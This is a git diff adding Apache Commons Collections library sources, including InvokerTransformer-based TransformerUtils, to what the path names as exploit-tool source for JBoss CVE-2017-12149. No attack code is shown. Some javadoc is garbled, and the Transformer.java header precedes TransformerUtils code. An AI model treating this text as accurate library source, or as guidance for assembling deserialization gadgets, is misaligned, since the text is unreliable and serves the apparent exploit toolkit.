+ * @return the first element in the sorted bag
+ */
+ public Object first();
+
+ /**
+ * Returns the last (highest) member.
+ *
+ * @return the last element in the sorted bag
+ */
+ public Object last();
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SortedBidiMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SortedBidiMap.java"
new file mode 100644
index 0000000..9975ae1
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SortedBidiMap.java"
@@ -0,0 +1,68 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.SortedMap;
+
+/**
+ * Defines a map that allows bidirectional lookup between key and values
+ * and retains both keys and values in sorted order.
+ * AbstractMap.values()
etc. Calling this
+ * method on the inverse map should return the original.
+ * SortedBidiMap
instance,
+ * usually by forwarding to inverseSortedBidiMap()
.
+ *
+ * @return an inverted bidirectional map
+ */
+ public BidiMap inverseBidiMap();
+
+ /**
+ * Gets a view of this map where the keys and values are reversed.
+ * SortedMap
.
+ * AbstractMap.values()
etc. Calling this
+ * method on the inverse map should return the original.
+ * inverseBidiMap()
should be the
+ * same object as returned by this method.
+ *
+ * @return an inverted bidirectional map
+ */
+ public SortedBidiMap inverseSortedBidiMap();
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/StaticBucketMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/StaticBucketMap.java"
new file mode 100644
index 0000000..ef579b4
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/StaticBucketMap.java"
@@ -0,0 +1,709 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.AbstractCollection;
+import java.util.AbstractSet;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+/**
+ * A StaticBucketMap is an efficient, thread-safe implementation of
+ * java.util.Map
that performs well in in a highly
+ * thread-contentious environment. The map supports very efficient
+ * {@link #get(Object) get}, {@link #put(Object,Object) put},
+ * {@link #remove(Object) remove} and {@link #containsKey(Object) containsKey}
+ * operations, assuming (approximate) uniform hashing and
+ * that the number of entries does not exceed the number of buckets. If the
+ * number of entries exceeds the number of buckets or if the hash codes of the
+ * objects are not uniformly distributed, these operations have a worst case
+ * scenario that is proportional to the number of elements in the map
+ * (O(n)).
+ * staticBucketMapInstance.putAll(map);
+ *
+ *
+ * and
+ *
+ *
+ * staticBucketMapInstance.entrySet().removeAll(map.entrySet());
+ *
+ *
+ * then the results are generally random. Those two statement could cancel
+ * each other out, leaving staticBucketMapInstance
essentially
+ * unchanged, or they could leave some random subset of map
in
+ * staticBucketMapInstance
.
+ * He = |Hk mod n|
+ *
+ *
+ *
+ * staticBucketMapInstance.atomic(new Runnable() {
+ * public void run() {
+ * staticBucketMapInstance.putAll(map);
+ * }
+ * });
+ *
+ *
+ * It can also be used if you need a reliable iterator:
+ *
+ *
+ * staticBucketMapInstance.atomic(new Runnable() {
+ * public void run() {
+ * Iterator iterator = staticBucketMapInstance.iterator();
+ * while (iterator.hasNext()) {
+ * foo(iterator.next();
+ * }
+ * }
+ * });
+ *
+ *
+ * Implementation note: This method requires a lot of time
+ * and a ton of stack space. Essentially a recursive algorithm is used
+ * to enter each bucket's monitor. If you have twenty thousand buckets
+ * in your map, then the recursive method will be invoked twenty thousand
+ * times. You have been warned.
+ *
+ * @param r the code to execute atomically
+ */
+ public void atomic(Runnable r) {
+ if (r == null) throw new NullPointerException();
+ atomic(r, 0);
+ }
+
+ private void atomic(Runnable r, int bucket) {
+ if (bucket >= m_buckets.length) {
+ r.run();
+ return;
+ }
+ synchronized (m_locks[bucket]) {
+ atomic(r, bucket + 1);
+ }
+ }
+
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SynchronizedPriorityQueue.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SynchronizedPriorityQueue.java"
new file mode 100644
index 0000000..648bdbd
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/SynchronizedPriorityQueue.java"
@@ -0,0 +1,102 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.NoSuchElementException;
+
+/**
+ * A thread safe version of the PriorityQueue.
+ * Provides synchronized wrapper methods for all the methods
+ * defined in the PriorityQueue interface.
+ *
+ * @deprecated PriorityQueue is replaced by the Buffer interface, see buffer subpackage.
+ * Due to be removed in v4.0.
+ * @since Commons Collections 1.0
+ * @version $Revision: 1.13 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Ram Chidambaram
+ */
+public final class SynchronizedPriorityQueue implements PriorityQueue {
+
+ /**
+ * The underlying priority queue.
+ */
+ protected final PriorityQueue m_priorityQueue;
+
+ /**
+ * Constructs a new synchronized priority queue.
+ *
+ * @param priorityQueue the priority queue to synchronize
+ */
+ public SynchronizedPriorityQueue(final PriorityQueue priorityQueue) {
+ m_priorityQueue = priorityQueue;
+ }
+
+ /**
+ * Clear all elements from queue.
+ */
+ public synchronized void clear() {
+ m_priorityQueue.clear();
+ }
+
+ /**
+ * Test if queue is empty.
+ *
+ * @return true if queue is empty else false.
+ */
+ public synchronized boolean isEmpty() {
+ return m_priorityQueue.isEmpty();
+ }
+
+ /**
+ * Insert an element into queue.
+ *
+ * @param element the element to be inserted
+ */
+ public synchronized void insert(final Object element) {
+ m_priorityQueue.insert(element);
+ }
+
+ /**
+ * Return element on top of heap but don't remove it.
+ *
+ * @return the element at top of heap
+ * @throws NoSuchElementException if isEmpty() == true
+ */
+ public synchronized Object peek() throws NoSuchElementException {
+ return m_priorityQueue.peek();
+ }
+
+ /**
+ * Return element on top of heap and remove it.
+ *
+ * @return the element at top of heap
+ * @throws NoSuchElementException if isEmpty() == true
+ */
+ public synchronized Object pop() throws NoSuchElementException {
+ return m_priorityQueue.pop();
+ }
+
+ /**
+ * Returns a string representation of the underlying queue.
+ *
+ * @return a string representation of the underlying queue
+ */
+ public synchronized String toString() {
+ return m_priorityQueue.toString();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Transformer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Transformer.java"
new file mode 100644
index 0000000..077d836
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Transformer.java"
@@ -0,0 +1,50 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+/**
+ * Defines a functor interface implemented by classes that transform one
+ * object into another.
+ * Transformer
converts the input object to the output object.
+ * The input object should be left unchanged.
+ * Transformers are typically used for type conversions, or extracting data
+ * from an object.
+ * TransformerUtils
provides reference implementations and
+ * utilities for the Transformer functor interface. The supplied transformers are:
+ *
+ *
+ * All the supplied transformers are Serializable.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.13 $ $Date: 2004/05/26 21:50:52 $
+ *
+ * @author Stephen Colebourne
+ * @author James Carman
+ */
+public class TransformerUtils {
+
+ /**
+ * This class is not normally instantiated.
+ */
+ public TransformerUtils() {
+ super();
+ }
+
+ /**
+ * Gets a transformer that always throws an exception.
+ * This could be useful during testing as a placeholder.
+ *
+ * @see org.apache.commons.collections.functors.ExceptionTransformer
+ *
+ * @return the transformer
+ */
+ public static Transformer exceptionTransformer() {
+ return ExceptionTransformer.INSTANCE;
+ }
+
+ /**
+ * Gets a transformer that always returns null.
+ *
+ * @see org.apache.commons.collections.functors.ConstantTransformer
+ *
+ * @return the transformer
+ */
+ public static Transformer nullTransformer() {
+ return ConstantTransformer.NULL_INSTANCE;
+ }
+
+ /**
+ * Gets a transformer that returns the input object.
+ * The input object should be immutable to maintain the
+ * contract of Transformer (although this is not checked).
+ *
+ * @see org.apache.commons.collections.functors.NOPTransformer
+ *
+ * @return the transformer
+ */
+ public static Transformer nopTransformer() {
+ return NOPTransformer.INSTANCE;
+ }
+
+ /**
+ * Gets a transformer that returns a clone of the input
+ * object. The input object will be cloned using one of these
+ * techniques (in order):
+ * java.lang.String
representation of the input object
+ *
+ *
+ *
+ * @see org.apache.commons.collections.functors.CloneTransformer
+ *
+ * @return the transformer
+ */
+ public static Transformer cloneTransformer() {
+ return CloneTransformer.INSTANCE;
+ }
+
+ /**
+ * Creates a Transformer that will return the same object each time the
+ * transformer is used.
+ *
+ * @see org.apache.commons.collections.functors.ConstantTransformer
+ *
+ * @param constantToReturn the constant object to return each time in the transformer
+ * @return the transformer.
+ */
+ public static Transformer constantTransformer(Object constantToReturn) {
+ return ConstantTransformer.getInstance(constantToReturn);
+ }
+
+ /**
+ * Creates a Transformer that calls a Closure each time the transformer is used.
+ * The transformer returns the input object.
+ *
+ * @see org.apache.commons.collections.functors.ClosureTransformer
+ *
+ * @param closure the closure to run each time in the transformer, not null
+ * @return the transformer
+ * @throws IllegalArgumentException if the closure is null
+ */
+ public static Transformer asTransformer(Closure closure) {
+ return ClosureTransformer.getInstance(closure);
+ }
+
+ /**
+ * Creates a Transformer that calls a Predicate each time the transformer is used.
+ * The transformer will return either Boolean.TRUE or Boolean.FALSE.
+ *
+ * @see org.apache.commons.collections.functors.PredicateTransformer
+ *
+ * @param predicate the predicate to run each time in the transformer, not null
+ * @return the transformer
+ * @throws IllegalArgumentException if the predicate is null
+ */
+ public static Transformer asTransformer(Predicate predicate) {
+ return PredicateTransformer.getInstance(predicate);
+ }
+
+ /**
+ * Creates a Transformer that calls a Factory each time the transformer is used.
+ * The transformer will return the value returned by the factory.
+ *
+ * @see org.apache.commons.collections.functors.FactoryTransformer
+ *
+ * @param factory the factory to run each time in the transformer, not null
+ * @return the transformer
+ * @throws IllegalArgumentException if the factory is null
+ */
+ public static Transformer asTransformer(Factory factory) {
+ return FactoryTransformer.getInstance(factory);
+ }
+
+ /**
+ * Create a new Transformer that calls two transformers, passing the result of
+ * the first into the second.
+ *
+ * @see org.apache.commons.collections.functors.ChainedTransformer
+ *
+ * @param transformer1 the first transformer
+ * @param transformer2 the second transformer
+ * @return the transformer
+ * @throws IllegalArgumentException if either transformer is null
+ */
+ public static Transformer chainedTransformer(Transformer transformer1, Transformer transformer2) {
+ return ChainedTransformer.getInstance(transformer1, transformer2);
+ }
+
+ /**
+ * Create a new Transformer that calls each transformer in turn, passing the
+ * result into the next transformer.
+ *
+ * @see org.apache.commons.collections.functors.ChainedTransformer
+ *
+ * @param transformers an array of transformers to chain
+ * @return the transformer
+ * @throws IllegalArgumentException if the transformers array is null
+ * @throws IllegalArgumentException if any transformer in the array is null
+ */
+ public static Transformer chainedTransformer(Transformer[] transformers) {
+ return ChainedTransformer.getInstance(transformers);
+ }
+
+ /**
+ * Create a new Transformer that calls each transformer in turn, passing the
+ * result into the next transformer. The ordering is that of the iterator()
+ * method on the collection.
+ *
+ * @see org.apache.commons.collections.functors.ChainedTransformer
+ *
+ * @param transformers a collection of transformers to chain
+ * @return the transformer
+ * @throws IllegalArgumentException if the transformers collection is null
+ * @throws IllegalArgumentException if any transformer in the collection is null
+ */
+ public static Transformer chainedTransformer(Collection transformers) {
+ return ChainedTransformer.getInstance(transformers);
+ }
+
+ /**
+ * Create a new Transformer that calls one of two transformers depending
+ * on the specified predicate.
+ *
+ * @see org.apache.commons.collections.functors.SwitchTransformer
+ *
+ * @param predicate the predicate to switch on
+ * @param trueTransformer the transformer called if the predicate is true
+ * @param falseTransformer the transformer called if the predicate is false
+ * @return the transformer
+ * @throws IllegalArgumentException if the predicate is null
+ * @throws IllegalArgumentException if either transformer is null
+ */
+ public static Transformer switchTransformer(Predicate predicate, Transformer trueTransformer, Transformer falseTransformer) {
+ return SwitchTransformer.getInstance(new Predicate[] { predicate }, new Transformer[] { trueTransformer }, falseTransformer);
+ }
+
+ /**
+ * Create a new Transformer that calls one of the transformers depending
+ * on the predicates. The transformer at array location 0 is called if the
+ * predicate at array location 0 returned true. Each predicate is evaluated
+ * until one returns true. If no predicates evaluate to true, null is returned.
+ *
+ * @see org.apache.commons.collections.functors.SwitchTransformer
+ *
+ * @param predicates an array of predicates to check
+ * @param transformers an array of transformers to call
+ * @return the transformer
+ * @throws IllegalArgumentException if the either array is null
+ * @throws IllegalArgumentException if the either array has 0 elements
+ * @throws IllegalArgumentException if any element in the arrays is null
+ * @throws IllegalArgumentException if the arrays are different sizes
+ */
+ public static Transformer switchTransformer(Predicate[] predicates, Transformer[] transformers) {
+ return SwitchTransformer.getInstance(predicates, transformers, null);
+ }
+
+ /**
+ * Create a new Transformer that calls one of the transformers depending
+ * on the predicates. The transformer at array location 0 is called if the
+ * predicate at array location 0 returned true. Each predicate is evaluated
+ * until one returns true. If no predicates evaluate to true, the default
+ * transformer is called. If the default transformer is null, null is returned.
+ *
+ * @see org.apache.commons.collections.functors.SwitchTransformer
+ *
+ * @param predicates an array of predicates to check
+ * @param transformers an array of transformers to call
+ * @param defaultTransformer the default to call if no predicate matches, null means return null
+ * @return the transformer
+ * @throws IllegalArgumentException if the either array is null
+ * @throws IllegalArgumentException if the either array has 0 elements
+ * @throws IllegalArgumentException if any element in the arrays is null
+ * @throws IllegalArgumentException if the arrays are different sizes
+ */
+ public static Transformer switchTransformer(Predicate[] predicates, Transformer[] transformers, Transformer defaultTransformer) {
+ return SwitchTransformer.getInstance(predicates, transformers, defaultTransformer);
+ }
+
+ /**
+ * Create a new Transformer that calls one of the transformers depending
+ * on the predicates.
+ *
TransformerUtils.invokerTransformer("getName");
+ * will call the getName/code> method on the input object to
+ * determine the transformer result.
+ *
+ * @see org.apache.commons.collections.functors.InvokerTransformer
+ *
+ * @param methodName the method name to call on the input object, may not be null
+ * @return the transformer
+ * @throws IllegalArgumentException if the methodName is null.
+ */
+ public static Transformer invokerTransformer(String methodName){
+ return InvokerTransformer.getInstance(methodName, null, null);
+ }
+
+ /**
+ * Gets a Transformer that invokes a method on the input object.
+ * The method parameters are specified. If the input object is null,
+ * null is returned.
+ *
+ * @see org.apache.commons.collections.functors.InvokerTransformer
+ *
+ * @param methodName the name of the method
+ * @param paramTypes the parameter types
+ * @param args the arguments
+ * @return the transformer
+ * @throws IllegalArgumentException if the method name is null
+ * @throws IllegalArgumentException if the paramTypes and args don't match
+ */
+ public static Transformer invokerTransformer(String methodName, Class[] paramTypes, Object[] args){
+ return InvokerTransformer.getInstance(methodName, paramTypes, args);
+ }
+
+ /**
+ * Gets a transformer that returns a
java.lang.String
+ * representation of the input object. This is achieved via the
+ * toString
method, null
returns 'null'.
+ *
+ * @see org.apache.commons.collections.functors.StringValueTransformer
+ *
+ * @return the transformer
+ */
+ public static Transformer stringValueTransformer() {
+ return StringValueTransformer.INSTANCE;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/TreeBag.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/TreeBag.java"
new file mode 100644
index 0000000..cfbdff5
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/TreeBag.java"
@@ -0,0 +1,76 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.SortedMap;
+import java.util.TreeMap;
+
+/**
+ * A {@link Bag} that is backed by a {@link TreeMap}.
+ * Order will be maintained among the unique representative
+ * members.
+ *
+ * @deprecated Moved to bag subpackage and rewritten internally. Due to be removed in v4.0.
+ * @since Commons Collections 2.0
+ * @version $Revision: 1.13 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Chuck Burdick
+ */
+public class TreeBag extends DefaultMapBag implements SortedBag {
+
+ /**
+ * Constructs an empty TreeBag
.
+ */
+ public TreeBag() {
+ super(new TreeMap());
+ }
+
+ /**
+ * Constructs an empty {@link Bag} that maintains order on its unique
+ * representative members according to the given {@link Comparator}.
+ *
+ * @param comparator the comparator to use
+ */
+ public TreeBag(Comparator comparator) {
+ super(new TreeMap(comparator));
+ }
+
+ /**
+ * Constructs a {@link Bag} containing all the members of the given
+ * collection.
+ *
+ * @param coll the collection to copy into the bag
+ */
+ public TreeBag(Collection coll) {
+ this();
+ addAll(coll);
+ }
+
+ public Object first() {
+ return ((SortedMap) getMap()).firstKey();
+ }
+
+ public Object last() {
+ return ((SortedMap) getMap()).lastKey();
+ }
+
+ public Comparator comparator() {
+ return ((SortedMap) getMap()).comparator();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/UnboundedFifoBuffer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/UnboundedFifoBuffer.java"
new file mode 100644
index 0000000..d2eb555
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/UnboundedFifoBuffer.java"
@@ -0,0 +1,277 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.AbstractCollection;
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+
+/**
+ * UnboundedFifoBuffer is a very efficient buffer implementation.
+ * According to performance testing, it exhibits a constant access time, but it
+ * also outperforms ArrayList when used for the same purpose.
+ * UnboundedFifoBuffer
is based on the insertion
+ * order; elements are removed in the same order in which they were added.
+ * The iteration order is the same as the removal order.
+ * UnboundedFifoBuffer
:
+ *
+ * Buffer fifo = BufferUtils.synchronizedBuffer(new UnboundedFifoBuffer());
+ *
+ *
+ * new UnboundedFifoBuffer(32);
+ *
+ */
+ public UnboundedFifoBuffer() {
+ this(32);
+ }
+
+ /**
+ * Constructs an UnboundedFifoBuffer with the specified number of elements.
+ * The integer must be a positive integer.
+ *
+ * @param initialSize the initial size of the buffer
+ * @throws IllegalArgumentException if the size is less than 1
+ */
+ public UnboundedFifoBuffer(int initialSize) {
+ if (initialSize <= 0) {
+ throw new IllegalArgumentException("The size must be greater than 0");
+ }
+ m_buffer = new Object[initialSize + 1];
+ m_head = 0;
+ m_tail = 0;
+ }
+
+ /**
+ * Returns the number of elements stored in the buffer.
+ *
+ * @return this buffer's size
+ */
+ public int size() {
+ int size = 0;
+
+ if (m_tail < m_head) {
+ size = m_buffer.length - m_head + m_tail;
+ } else {
+ size = m_tail - m_head;
+ }
+
+ return size;
+ }
+
+ /**
+ * Returns true if this buffer is empty; false otherwise.
+ *
+ * @return true if this buffer is empty
+ */
+ public boolean isEmpty() {
+ return (size() == 0);
+ }
+
+ /**
+ * Adds the given element to this buffer.
+ *
+ * @param obj the element to add
+ * @return true, always
+ * @throws NullPointerException if the given element is null
+ * @throws BufferOverflowException if this buffer is full
+ */
+ public boolean add(final Object obj) {
+ if (obj == null) {
+ throw new NullPointerException("Attempted to add null object to buffer");
+ }
+
+ if (size() + 1 >= m_buffer.length) {
+ Object[] tmp = new Object[((m_buffer.length - 1) * 2) + 1];
+
+ int j = 0;
+ for (int i = m_head; i != m_tail;) {
+ tmp[j] = m_buffer[i];
+ m_buffer[i] = null;
+
+ j++;
+ i++;
+ if (i == m_buffer.length) {
+ i = 0;
+ }
+ }
+
+ m_buffer = tmp;
+ m_head = 0;
+ m_tail = j;
+ }
+
+ m_buffer[m_tail] = obj;
+ m_tail++;
+ if (m_tail >= m_buffer.length) {
+ m_tail = 0;
+ }
+ return true;
+ }
+
+ /**
+ * Returns the next object in the buffer.
+ *
+ * @return the next object in the buffer
+ * @throws BufferUnderflowException if this buffer is empty
+ */
+ public Object get() {
+ if (isEmpty()) {
+ throw new BufferUnderflowException("The buffer is already empty");
+ }
+
+ return m_buffer[m_head];
+ }
+
+ /**
+ * Removes the next object from the buffer
+ *
+ * @return the removed object
+ * @throws BufferUnderflowException if this buffer is empty
+ */
+ public Object remove() {
+ if (isEmpty()) {
+ throw new BufferUnderflowException("The buffer is already empty");
+ }
+
+ Object element = m_buffer[m_head];
+
+ if (null != element) {
+ m_buffer[m_head] = null;
+
+ m_head++;
+ if (m_head >= m_buffer.length) {
+ m_head = 0;
+ }
+ }
+
+ return element;
+ }
+
+ /**
+ * Increments the internal index.
+ *
+ * @param index the index to increment
+ * @return the updated index
+ */
+ private int increment(int index) {
+ index++;
+ if (index >= m_buffer.length) {
+ index = 0;
+ }
+ return index;
+ }
+
+ /**
+ * Decrements the internal index.
+ *
+ * @param index the index to decrement
+ * @return the updated index
+ */
+ private int decrement(int index) {
+ index--;
+ if (index < 0) {
+ index = m_buffer.length - 1;
+ }
+ return index;
+ }
+
+ /**
+ * Returns an iterator over this buffer's elements.
+ *
+ * @return an iterator over this buffer's elements
+ */
+ public Iterator iterator() {
+ return new Iterator() {
+
+ private int index = m_head;
+ private int lastReturnedIndex = -1;
+
+ public boolean hasNext() {
+ return index != m_tail;
+
+ }
+
+ public Object next() {
+ if (!hasNext())
+ throw new NoSuchElementException();
+ lastReturnedIndex = index;
+ index = increment(index);
+ return m_buffer[lastReturnedIndex];
+ }
+
+ public void remove() {
+ if (lastReturnedIndex == -1)
+ throw new IllegalStateException();
+
+ // First element can be removed quickly
+ if (lastReturnedIndex == m_head) {
+ UnboundedFifoBuffer.this.remove();
+ lastReturnedIndex = -1;
+ return;
+ }
+
+ // Other elements require us to shift the subsequent elements
+ int i = lastReturnedIndex + 1;
+ while (i != m_tail) {
+ if (i >= m_buffer.length) {
+ m_buffer[i - 1] = m_buffer[0];
+ i = 0;
+ } else {
+ m_buffer[i - 1] = m_buffer[i];
+ i++;
+ }
+ }
+
+ lastReturnedIndex = -1;
+ m_tail = decrement(m_tail);
+ m_buffer[m_tail] = null;
+ index = decrement(index);
+ }
+
+ };
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Unmodifiable.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Unmodifiable.java"
new file mode 100644
index 0000000..969d395
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/Unmodifiable.java"
@@ -0,0 +1,39 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+/**
+ * Marker interface for collections, maps and iterators that are unmodifiable.
+ *
+ * if (coll instanceof Unmodifiable) {
+ * coll = new ArrayList(coll);
+ * }
+ * // now we know coll is modifiable
+ *
+ * Of course all this only works if you use the Unmodifiable classes defined
+ * in this library. If you use the JDK unmodifiable class via java util Collections
+ * then the interface won't be there.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Stephen Colebourne
+ */
+public interface Unmodifiable {
+ // marker interface - no methods to implement
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/AbstractBagDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/AbstractBagDecorator.java"
new file mode 100644
index 0000000..3a9f527
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bag/AbstractBagDecorator.java"
@@ -0,0 +1,80 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bag;
+
+import java.util.Set;
+
+import org.apache.commons.collections.Bag;
+import org.apache.commons.collections.collection.AbstractCollectionDecorator;
+
+/**
+ * Decorates another Bag
to provide additional behaviour.
+ * true
if the Bag contains all the collection
+ */
+ public boolean containsAll(Collection coll) {
+ if (coll instanceof Bag) {
+ return containsAll((Bag) coll);
+ }
+ return containsAll(new HashBag(coll));
+ }
+
+ /**
+ * Returns true
if the bag contains all elements in
+ * the given collection, respecting cardinality.
+ *
+ * @param other the bag to check against
+ * @return true
if the Bag contains all the collection
+ */
